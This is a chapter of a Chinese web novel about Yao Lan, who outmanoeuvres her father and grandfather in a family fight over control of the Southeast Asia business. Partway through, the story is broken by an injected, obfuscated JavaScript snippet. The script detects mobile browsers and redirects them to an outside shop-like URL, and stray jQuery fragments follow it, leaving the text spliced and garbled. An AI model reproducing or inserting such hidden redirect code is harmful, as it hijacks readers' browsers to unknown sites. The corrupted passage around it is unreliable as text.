姚岚没接这茬儿,只说:“来的那辆车你开回侦查局吧,我会叫人取。” “得,那就回见了。”王严云轻笑着拐进小路,头也不回地走了。 直到姚岚就着肖越打开的车门坐进去,问:“什么事?” 肖越和司机刘寻突然出现,必有要事。 不想话音刚落,姚岚的手机就震动起来。 来电显示:姚珹。 不好的预感涌上心头,姚岚快速按下接听。 没有寒暄,姚珹的语速很快:“一个小时后,姚坤的飞机会在麦城降落。” 姚坤,一个小时,麦城? 短短一句话,将三个本不该联系在一起的信息摆到一起。 姚岚沉着呼吸,思路快速飞转,又听姚珹说:“五分钟后,爷爷会和你连线,你爸也在。” 又是一个意料之外的发展。 显然,肖越的出现也是因为接到姚珹的消息。 可眼下来不及多问,姚岚只吐出两个字:“谢谢。” 电话切断,姚岚抬起眼皮直视肖越:“有没有场外信息?” 肖越说:“刚打听到,姚坤提前结束休假。连他身边的人都不知道为什么,只知道在这之前大姚总亲自去看过他。” 大姚总就是姚坤和姚岚的父亲姚万忠,也是第二代的掌权人。 姚坤大了姚岚近十岁,自小就被当做继承人来培养,而姚岚则一直被培养走艺术、哲学这条路。 然而就因为十年前的一场意外,一切都变了。 此后这十年,兄长不再温文尔雅,父亲也不再和蔼可亲,反倒是今天前来抵信的堂弟姚珹,逐渐和姚岚站到同一边。 偏偏现在姚氏的大部分权利还在姚万忠手里,无论是争产还是夺权,姚岚都不能做得太过分。 肖越快速分析道:“麦城的部署已成定局,姚坤这个时候来,摆明了是要坐享其成。但也不是没有办法阻止他的飞机降落。” 姚岚眉宇微蹙,只平淡地吐出几个字:“对付一个废人,值得大费周章么。” “这方法是有点极端,但……”肖越本想再说点什么,却被手机铃声打断。 是三方视频电话,而且提前了。 姚岚吸了口气,不到一秒就切换上笑脸,将电话接起。 她先是看向姚万忠,轻声说了句:“爸,好久不见,您身体怎么样?” 随即姚老爷子也出现了。 “爷爷。” 姚万忠的笑容真是压也压不住,却不是因为见到女儿,而且还有一种算计得逞的意味。 只听姚老爷子说:“好了,先说正题。姚岚,我们都知道你在东南亚开荒辛苦,这个工作本来也不该落在你身上。现在正好有个机会,可以让你从泥潭中脱离出来。” 泥潭,脱离? 姚岚笑容不改地玩味着这些字眼,目光对上老谋深算的姚老爷子,却并不接招儿。 姚万忠将话题接过来:“是这样,你大哥已经在欧洲那边谈好了一个项目,提前谁都没说,也算是给你一个惊喜。只要你飞过去接手,所有资源都是现成的。他还说了,这么好的机会肯定是要留给亲妹妹,你回头可得好好谢谢他。” 哦,原来如此。 一个是欧洲,一个是东南亚,换谁听了都会觉得去欧洲是个美差,更高大上,而东南亚不仅落后,且各方面条件都远不如欧洲。 可事实上呢? 欧洲市场早已饱和,如果姚坤真能在短时间内拿下令人眼馋的大饼,这样的惊喜也绝对不会便宜给她。 有了思路,姚岚不动声色地再次看向姚老爷子,他却没有任何示意,连个微表情都捕捉不到。 所以,爷爷是在坐山观虎斗? 一老一少就这样对视着,似乎都在等待对方的反应。 姚万忠见状,继续施展演技:“至于东南亚这边,你走了,还是要找个信得过的人去坐镇才行……爸,您说呢?” 姚万忠也算是孝顺,还知道将“恶人”的角色孝敬给姚老爷子。 姚老爷子这才笑了笑,眼角的条纹路都舒展开:“那就让小坤去吧。” 从大陆的春城到东南亚的麦城,直飞要四个小时,姚坤的飞机还有一个小时就降落了,然而眼下却表现得像是临时决定一般。 最不要脸的是,那个坐享其成的人还打着“肥水不流外人田”以及“肥差留给亲妹妹”的旗号。 姚万忠得便宜卖乖道:“你哥身体不好,在东南亚少不了吃苦,可就因为是为了把你换回来,他没有一点怨言。这就是你大哥的担当。在家族里,我们从来没有因为性别就给你们定性,但东南亚这个地方,你也知道男人过去会更方便,也更安全,行事手段上也会展现出不一样的风格。我相信以你大哥的手腕,必然会在那边开创一片新气象,绝不会让局面再上一层楼。” 姚岚始终面带微笑,耐着性子听完整段漂亮话,也知道这话根本不是说给她听的。 看,这就是姚家明明内斗的一贯基调,都已经把你架在火上烤了,你还得谢谢对方的为你着想。 如果到这时候她还不接着,反而显得她不识抬举。 可时间就这样一分一秒地过去了。 姚岚笑容渐深,只是弯着眼睛说了这么一句:“意思就是,许应达死守的秘密,打算就样放弃了?” 听到这话,姚万忠的脸色倏地变了,质疑道:“姚岚,你……” 姚老爷子却将他打断:“你先等一下。” 随即又盯着姚岚:“具体点。” 姚岚的语速并不快,无论是姿态还是眼神都可谓是气定神闲、成竹在胸:“我和许立荣的交易已经达成,用不了多久那东西就会落在我手上。我本来想拿到以后再给大家一个惊喜的……如果这个秘密姚氏还想要,那么这边的实权就要继续放在我手里。” 气氛如同紧绷的弦。 一时间,姚老爷子和姚万忠都没有言语,他们一个正在审视、评估姚岚的话有几分真,另一个则逐渐沉不住气。 而姚岚始终和姚老爷子对视,只因她知道,最终拍板定论的人只有他。 当然,她要是不够能力扭转这一局,也没脸在长辈面前委屈哭诉。 简单一句话,无论是争还是抢,姚家人手握多少资源都得靠实力说话。 不知过了多久,姚万忠终于坐不住了,先前的慈父形象瞬间荡然无存:“你是不是不想交权?你大哥都已经飞过去了,你突然这么说,不是要给他难堪吗……” 姚万忠的话却再一次被姚老爷子打断:“你有把握吗?” 姚岚双手环胸,微微扬起下巴:“没有我就不会提了。您是知道的,我从不打无把握的仗。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539171|202844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那你倒是说说,你跟许立荣交换的筹码是什么?”姚万忠追问,“直接交给你大哥不是一样吗!” 姚岚却不理这茬儿,只看着姚老爷子:“爷爷的意思呢,那东西还想要吗?还需要我继续推进吗?” 言下之意就差直接说了:要,就我来要,赶我走,就一拍两散。 “这还用问吗?”姚老爷子的态度也逐渐明确,不再似之前那样模棱两可。 “爸……”姚万忠心里一沉,却还想再挣扎一番。 姚老爷子却说:“八仙过海各显神通,难怪外面的人都说你是姚家第三代最出色的那个——好,拿下许立荣,你想要什么都行。” “爸!”姚万忠叫道。 姚老爷子哈哈大笑,高兴极了,然而话锋一转,又道:“不过凡事皆有代价,如果你这次无功而返,不仅要退出东南亚,欧洲那边也轮不到你。同意吗?” 姚岚微笑:“当然。” 事情一定,姚老爷子便率先切断视频。 姚万忠却迟迟没走,脸色阴沉地盯着姚岚。 “你以为我不知道你打什么算盘?说大话谁不会,合着那边的市场都是你吹出来的?现在给你台阶你不下,到时候会走得更难堪。” 姚岚轻笑一声:“高回报意味着高风险,其实这边有多艰难您一直都是知道的。您一句关心没有,眼瞅着大局初定,就想从我手里拿走一切。可您又不放心交给外人,只想便宜给大哥——他那个身子骨能熬多久?这里的牛鬼蛇神他镇得住吗?真有这个本事,他也不会变成今天这样。” 姚岚每个字都在戳姚万忠的脊梁骨,何况姚坤还是他一手扶起来的,倾注了半生心血。 姚万忠越发气急败坏:“这几年家族资源一再向你倾斜,你已经得到太多不该你拿的,还不知道见好就收!丢人现眼的赔钱货……” 听到这里,姚岚的笑声终于溢出来,眼底却早已冻起冰霜:“那些,都是我自己凭本事挣来的。就算要给出去,也得是我自己愿意,轮不到任何人来编排。” …… 狠话撂完,视频切断,毫不意外的再次不欢而散。 姚岚看向窗外,神色中却不见半点愤怒。 事实上她也没时间生气,当务之急还是要先解决眼下才行。 一直坐在对面的肖越问:“姐,许立荣那里你真的谈好了?” 明明只见了一面,这么快就达成合作? “没有。”姚岚淡淡道。 “什……那,那现在怎么办?” 话已经说出去了,难道只能走一步看一步? 只听姚岚说:“小刘,先去机场。” 刘寻应道:“是。” 肖越的眉头已经打了结:“真去接机?” “戏做足,事儿做实。”姚岚说,“目标坚定,拿到应得的回报,我们不是一直都这么过来的吗?而不是像姚坤那样,整天想着抢别人的成果。” 肖越说:“不管怎么说你们都是兄妹,他这种吃相连底下人都看不过去,我不相信老爷子会没看法。” “这世界很公平,要么会办事,要么会做人,而姚坤两样都没有,就是因为他是姚家人,还是老大。可那个位子早晚都会空出来,所谓能者居之,现在早就不时兴长子长孙继承那一套了,而我们只需要做好准备。” 说到这,她眯了眯眼,又轻笑着说了句:“要是空出来了都没坐上去,哭破天都没用。”